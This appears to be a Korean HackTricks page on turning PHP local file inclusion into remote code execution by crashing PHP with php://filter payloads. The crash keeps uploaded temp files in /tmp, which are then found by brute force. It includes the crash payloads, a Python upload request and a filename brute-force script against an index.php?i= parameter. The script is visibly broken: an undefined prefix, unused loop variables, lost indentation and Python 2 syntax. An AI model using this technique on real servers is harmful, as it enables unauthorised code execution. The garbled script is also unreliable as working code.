LFI2RCE via Segmentation Fault

HackTricks 지원

https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (두 번째 부분) 및 https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view에 따르면, 다음 payload들이 PHP에서 세그멘테이션 오류를 발생시켰습니다:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

당신은 알아두어야 합니다. POST 요청을 보내면, PHP는 그 파일의 내용을 담은 **임시 파일을 /tmp/php<something>**에 생성합니다. 이 파일은 요청이 처리된 후 자동으로 삭제됩니다.

만약 LFI를 발견하고 PHP에서 segmentation fault를 일으킬 수 있다면, 임시 파일은 삭제되지 않을 것입니다. 그러므로 LFI 취약점으로 그 파일을 찾아서 임의의 코드를 실행할 수 있습니다.

테스트를 위해 https://hub.docker.com/r/easyengine/php7.0 도커 이미지를 사용할 수 있습니다.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
HackTricks 지원

Last updated